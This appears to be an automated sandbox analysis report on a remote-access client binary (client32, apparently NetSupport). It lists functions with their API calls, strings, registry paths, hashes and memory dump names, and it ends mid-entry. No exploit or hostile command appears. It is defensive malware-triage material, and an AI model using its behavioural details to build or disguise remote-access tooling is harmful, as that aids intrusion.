SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 110301CB
CurrentMajorVersionNumber, xrefs: 11030299
Error %s unloading audiocap dll, xrefs: 110308CF
3, xrefs: 11030332
CurrentVersion, xrefs: 110301FC
.%d, xrefs: 110306C2

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorModeObject$CloseExchangeInterlockedOpenQueryStockValue__isdigit_l
String ID: .%d$3$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$Error %s unloading audiocap dll$SOFTWARE\Microsoft\Windows NT\CurrentVersion$pcicl32
API String ID: 1620732580-1805425335
Opcode ID: b351cefeb039e43ab033467c2a48aa7d7723db445408656b15566b9d9be5e6bb
Instruction ID: 101fda974b992bd0c3f09ca7f45ae94f7834bb943de0c71e9fec058e221e6226
Opcode Fuzzy Hash: b351cefeb039e43ab033467c2a48aa7d7723db445408656b15566b9d9be5e6bb
Instruction Fuzzy Hash: 76D1F9B0D06355DFEB11CBA4CC84BAEFBF4AB8430DF1041EAD449A7289EB715A44CB51

Function 11136170 Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 348windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11141440: GetVersionExA.KERNEL32(111EBE98,76938400), ref: 11141470
Part of subcall function 11141440: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 111414AF
Part of subcall function 11141440: _memset.LIBCMT ref: 111414CD
Part of subcall function 11141440: _strncpy.LIBCMT ref: 1114159A

PostMessageA.USER32(000A023C,000006CF,00000007,00000000), ref: 1113634F

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

SetWindowTextA.USER32(000A023C,00000000), ref: 111363F7
IsWindowVisible.USER32(000A023C), ref: 111364BC
GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,00000000), ref: 111364DC
IsWindowVisible.USER32(000A023C), ref: 111364EA
SetForegroundWindow.USER32(00000000), ref: 11136518
EnableWindow.USER32(000A023C,00000001), ref: 11136527
IsWindowVisible.USER32(000A023C), ref: 11136578
IsWindowVisible.USER32(000A023C), ref: 11136585
EnableWindow.USER32(000A023C,00000000), ref: 11136599
EnableWindow.USER32(000A023C,00000000), ref: 111364FF

Part of subcall function 1112E440: ShowWindow.USER32(000A023C,00000000,?,111365A2,00000007,?,?,?,?,?,00000000), ref: 1112E464

EnableWindow.USER32(000A023C,00000001), ref: 111365AD

Strings

LockedText, xrefs: 111362CF
Client, xrefs: 111361F1, 1113629B, 111362D4, 11136332
HideWhenIdle, xrefs: 111361EC
ConnectedText, xrefs: 11136288, 11136297
ViewedText, xrefs: 1113627B
ShowUIOnConnect, xrefs: 1113632D

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$EnableVisible$Foreground$MessageOpenPostShowTextVersion__wcstoi64_memset_strncpy
String ID: Client$ConnectedText$HideWhenIdle$LockedText$ShowUIOnConnect$ViewedText
API String ID: 3453649892-3803836183
Opcode ID: 9a6a2bfc5674f72dc46c2502b35efee9287a353186de450facfaa19a7b811576
Instruction ID: e5f70ba24fe9707544c094c3b520392dd4d0da00b27c206184a1dd93fe5a05e3
Opcode Fuzzy Hash: 9a6a2bfc5674f72dc46c2502b35efee9287a353186de450facfaa19a7b811576
Instruction Fuzzy Hash: 68C12B75B112259FEB12DFE0CD81B6EF7A4AB8032DF104434E915AB28CDB31E944C791

Function 11027DE0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 130librarysynchronizationCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000102,NSM.LIC,00000009), ref: 11027E31

Part of subcall function 11080C50: _strrchr.LIBCMT ref: 11080C5E

wsprintfA.USER32 ref: 11027E54
WaitForSingleObject.KERNEL32(?,000000FF), ref: 11027E99
GetExitCodeProcess.KERNEL32(?,?), ref: 11027EAD
wsprintfA.USER32 ref: 11027ED1
CloseHandle.KERNEL32(?), ref: 11027EE7
CloseHandle.KERNEL32(?), ref: 11027EF0
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,?,?,?,?,NSM.LIC,00000009), ref: 11027F51
GetModuleHandleA.KERNEL32(00000000,00000000,?,?,?,?,?,NSM.LIC,00000009), ref: 11027F65

Strings

pcicl32_res.dll, xrefs: 11027F29
NSM.LIC, xrefs: 11027DF9, 11027F10
Locales\%d\, xrefs: 11027EC1
", xrefs: 11027E2A
\GetUserLang.exe", xrefs: 11027E4E
Setting resource langid=%d, xrefs: 11027F11
SetClientResLang called, gPlatform %x, xrefs: 11027DFC

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Handle$CloseModulewsprintf$CodeExitFileLibraryLoadNameObjectProcessSingleWait_strrchr
String ID: "$Locales\%d\$NSM.LIC$SetClientResLang called, gPlatform %x$Setting resource langid=%d$\GetUserLang.exe"$pcicl32_res.dll
API String ID: 512045693-419896573
Opcode ID: 268e5f9e54febdc28a185ae7cfa9fa307afb7a1bfb687f4eee2c79e45644aca9
Instruction ID: 876bbb39ee5dad39a06bb9fa3df6a5915df4966271857e52aabb2b5ad19aa6c4
Opcode Fuzzy Hash: 268e5f9e54febdc28a185ae7cfa9fa307afb7a1bfb687f4eee2c79e45644aca9
Instruction Fuzzy Hash: E341D675E04229ABD714CF65CC85FEAF7B8EB44309F0081A9F95497244DBB0AD40CFA0

Function 11084F10 Relevance: 26.5, APIs: 8, Strings: 7, Instructions: 218libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(PCIINV.DLL,8F98CBB2,02636D10,02636D00,?,00000000,1117EC8C,000000FF,?,110312D2,02636D10,00000000,?,?,?), ref: 11084F45

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

Part of subcall function 1110C580: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,7736C3F0,?,1110D2DD,00000000,00000001,?,?,?,?,?,110309CC), ref: 1110C59E

GetProcAddress.KERNEL32(00000000,GetInventory), ref: 11084F6B
GetProcAddress.KERNEL32(00000000,Cancel), ref: 11084F7F
GetProcAddress.KERNEL32(00000000,GetInventoryEx), ref: 11084F93
wsprintfA.USER32 ref: 1108501B
wsprintfA.USER32 ref: 11085032
wsprintfA.USER32 ref: 11085049
CloseHandle.KERNEL32(00000000,11084D70,00000001,00000000), ref: 1108519A

Part of subcall function 11084B80: CloseHandle.KERNEL32(?,7622F550,?,?,110851C0,?,110312D2,02636D10,00000000,?,?,?), ref: 11084B98
Part of subcall function 11084B80: CloseHandle.KERNEL32(?,7622F550,?,?,110851C0,?,110312D2,02636D10,00000000,?,?,?), ref: 11084BAB
Part of subcall function 11084B80: CloseHandle.KERNEL32(?,7622F550,?,?,110851C0,?,110312D2,02636D10,00000000,?,?,?), ref: 11084BBE
Part of subcall function 11084B80: FreeLibrary.KERNEL32(00000000,7622F550,?,?,110851C0,?,110312D2,02636D10,00000000,?,?,?), ref: 11084BD1

Strings

GetInventoryEx, xrefs: 11084F87
%s_HW.%s, xrefs: 11085012
%s_HF.%s, xrefs: 11085043
Cancel, xrefs: 11084F79
%s_SW.%s, xrefs: 1108502C
PCIINV.DLL, xrefs: 11084F40
GetInventory, xrefs: 11084F65

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandlewsprintf$AddressProc$Library$CreateEventFreeLoad_malloc_memset
String ID: %s_HF.%s$%s_HW.%s$%s_SW.%s$Cancel$GetInventory$GetInventoryEx$PCIINV.DLL
API String ID: 4263811268-2492245516
Opcode ID: 7fd420d51c944622195a301e45d4d7d169c1854ff3502161f7b74b389d1e2a01
Instruction ID: 07132911a412ef52ee848883b0d57285eedf3ad5575a4b9bafdb68f1b00dfaa6
Opcode Fuzzy Hash: 7fd420d51c944622195a301e45d4d7d169c1854ff3502161f7b74b389d1e2a01
Instruction Fuzzy Hash: 0871A075E0470AAFEB10CF79CC45BDAFBE4EB48304F10456AE96AD7280EB75A500CB91

Function 1102FE74 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 176synchronizationlibraryloaderCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(001F0001,?,PCIMutex), ref: 1102FFB3
CreateMutexA.KERNEL32(00000000,00000000,PCIMutex,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1102FFCC
GetProcAddress.KERNEL32(?,SetProcessDPIAware), ref: 11030049
SetLastError.KERNEL32(00000078,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1103005F
WaitForSingleObject.KERNEL32(?,000001F4,?,?,?,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1103008E
CloseHandle.KERNEL32(?,?,?,?,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 1103009B
FreeLibrary.KERNEL32(?,?,?,?,?,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 110300A6
CloseHandle.KERNEL32(00000000,?,PCIMutex,?,SOFTWARE\Policies\NetSupport\Client\standard,00020019), ref: 110300AD

Strings

istaUI, xrefs: 1102FECF
_debug\trace, xrefs: 1102FF0A
PCIMutex, xrefs: 1102FFA4, 1102FFC3
SOFTWARE\Policies\NetSupport\Client\standard, xrefs: 1102FEF0
_debug\tracefile, xrefs: 1102FF1B
/247, xrefs: 1102FFD8
SetProcessDPIAware, xrefs: 11030043

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandleMutex$AddressCreateErrorFreeLastLibraryObjectOpenProcSingleWait
String ID: /247$PCIMutex$SOFTWARE\Policies\NetSupport\Client\standard$SetProcessDPIAware$_debug\trace$_debug\tracefile$istaUI
API String ID: 2061479752-1320826866
Opcode ID: 9705f9bfad1c3e8970112c68024eef20839ef55ad9efca7dde0d3f4415aecd1b
Instruction ID: 28233a226cad534e48a3842a4e0c7e682da8a74b242a0ded550d6c50420a17f8
Opcode Fuzzy Hash: 9705f9bfad1c3e8970112c68024eef20839ef55ad9efca7dde0d3f4415aecd1b
Instruction Fuzzy Hash: 76511C74E013169FDB11DBA1CC88F9EF7B49F44709F1041E8E919A7285EF746A40CB62

Function 111031C0 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 153COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 111031EE
EnterCriticalSection.KERNEL32(111EB5C4), ref: 111031F7
GetTickCount.KERNEL32 ref: 111031FD
GetTickCount.KERNEL32 ref: 11103250
LeaveCriticalSection.KERNEL32(111EB5C4), ref: 11103259
GetTickCount.KERNEL32 ref: 1110328A
LeaveCriticalSection.KERNEL32(111EB5C4), ref: 11103293
EnterCriticalSection.KERNEL32(111EB5C4), ref: 111032BC
LeaveCriticalSection.KERNEL32(111EB5C4,00000000,?,00000000), ref: 11103383

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

Part of subcall function 110EE9B0: InitializeCriticalSection.KERNEL32(00000038,00000000,00000000,?,00000000,?,11103327,?), ref: 110EE9DB

Strings

Warning. took %d ms to get simap lock, xrefs: 11103209
psi, xrefs: 11103243, 111032F8, 1110333E
info. new psi(%d) = %x, xrefs: 11103371
Warning. simap lock held for %d ms, xrefs: 11103269, 111032A3
e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp, xrefs: 1110323E, 111032F3, 11103339

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$Leave$Enter$Initialize_malloc_memsetwsprintf
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock$e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp$info. new psi(%d) = %x$psi
API String ID: 1574099134-3013461081
Opcode ID: b039da78e7f60a0956db5c69d50db6548e5713577cffa5e4926f0cc6d21667ef
Instruction ID: 89832f748e922a403c2406022f27e5a031cf170e04c986d8c3432455018c83f9
Opcode Fuzzy Hash: b039da78e7f60a0956db5c69d50db6548e5713577cffa5e4926f0cc6d21667ef
Instruction Fuzzy Hash: 1E41C479E1465AAFCB01DFA59C84EEFFBB5AF04358B404526F905E7640EA30A900CBA1

Function 11131370 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 101windowCOMMON

Download Yara Rule

APIs

Part of subcall function 111417E0: _memset.LIBCMT ref: 11141825
Part of subcall function 111417E0: GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114183E
Part of subcall function 111417E0: LoadLibraryA.KERNEL32(kernel32.dll), ref: 11141865
Part of subcall function 111417E0: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 11141877
Part of subcall function 111417E0: FreeLibrary.KERNEL32(00000000), ref: 1114188F
Part of subcall function 111417E0: GetSystemDefaultLangID.KERNEL32 ref: 1114189A

AdjustWindowRectEx.USER32(1113DB48,00CE0000,00000001,00000001), ref: 111313B7
LoadMenuA.USER32(00000000,000003EC), ref: 111313C8
GetSystemMetrics.USER32(00000021), ref: 111313D9
GetSystemMetrics.USER32(0000000F), ref: 111313E1
GetSystemMetrics.USER32(00000004), ref: 111313E7
GetDC.USER32(00000000), ref: 111313F3
GetDeviceCaps.GDI32(00000000,0000005A), ref: 111313FE
ReleaseDC.USER32(00000000,00000000), ref: 1113140A
CreateWindowExA.USER32(00000001,NSMWClass,0247E268,00CE0000,80000000,80000000,1113DB48,?,00000000,?,11000000,00000000), ref: 1113145F
GetLastError.KERNEL32(?,?,?,?,?,110F5809,00000001,1113DB48,_debug), ref: 11131467

Strings

NSMWClass, xrefs: 11131459
mainwnd ht1=%d, ht2=%d, yppi=%d, xrefs: 1113141E
CreateMainWnd, hwnd=%x, e=%d, xrefs: 1113146F
Fs, xrefs: 111313FE

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: System$Metrics$LibraryLoadWindow$AddressAdjustCapsCreateDefaultDeviceErrorFreeLangLastMenuProcRectReleaseVersion_memset
String ID: Fs$CreateMainWnd, hwnd=%x, e=%d$NSMWClass$mainwnd ht1=%d, ht2=%d, yppi=%d
API String ID: 1594747848-4184434473
Opcode ID: 7281dd7751e614175c8dce41f6d5c7d8aafef09e31021395c24f009c96aa77ba
Instruction ID: 9cc38207800c48755d7f962ceed396d8e742c52f1043c8e55726c054ea069f44
Opcode Fuzzy Hash: 7281dd7751e614175c8dce41f6d5c7d8aafef09e31021395c24f009c96aa77ba
Instruction Fuzzy Hash: 6C31A072E00319AFDB109FE58C84BBFFBB8EB48719F104528FA11B7284D67069408BA5

Function 1102C000 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 238synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C3D0: SetEvent.KERNEL32(00000000,?,1102C03F), ref: 1110C3F4

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102C045
GetTickCount.KERNEL32 ref: 1102C06A

Part of subcall function 110CE2D0: __strdup.LIBCMT ref: 110CE2EA

GetTickCount.KERNEL32 ref: 1102C164

Part of subcall function 110CEF30: wvsprintfA.USER32(?,?,1102C101), ref: 110CEF5B

Part of subcall function 110CE380: _free.LIBCMT ref: 110CE3AD

WaitForSingleObject.KERNEL32(?,000000FF), ref: 1102C25C
CloseHandle.KERNEL32(?), ref: 1102C278

Strings

GetLatLong=%s, took %d ms, xrefs: 1102C181
?IP=%s, xrefs: 1102C0F6
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102C2A9, 1102C2BD, 1102C2D1, 1102C2E5
_debug, xrefs: 1102C0B8, 1102C11A
GeoIP, xrefs: 1102C0B3
LatLong, xrefs: 1102C028, 1102C115
IsA(), xrefs: 1102C2AE, 1102C2C2, 1102C2D6, 1102C2EA
http://geo.netsupportsoftware.com/location/loca.asp, xrefs: 1102C085

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountObjectSingleTickWait$CloseEventHandle__strdup_freewvsprintf
String ID: ?IP=%s$GeoIP$GetLatLong=%s, took %d ms$IsA()$LatLong$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$http://geo.netsupportsoftware.com/location/loca.asp
API String ID: 596640303-1725438197
Opcode ID: dda23666e9ae4ffbc9faa980174efbfe645a1e8455c3d9b406f788bef0b5428c
Instruction ID: 92710dfa5788f637d48b64b720a6e5bc5ec8e20d3bb6cc7594a6b260f570a90e
Opcode Fuzzy Hash: dda23666e9ae4ffbc9faa980174efbfe645a1e8455c3d9b406f788bef0b5428c
Instruction Fuzzy Hash: 5E81A374E0060A9FDB04DBE4CD80FEEF7B5AF45708F508659E92567281DB34BA09CB61

Function 11060D40 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 135registryCOMMON

Download Yara Rule

APIs

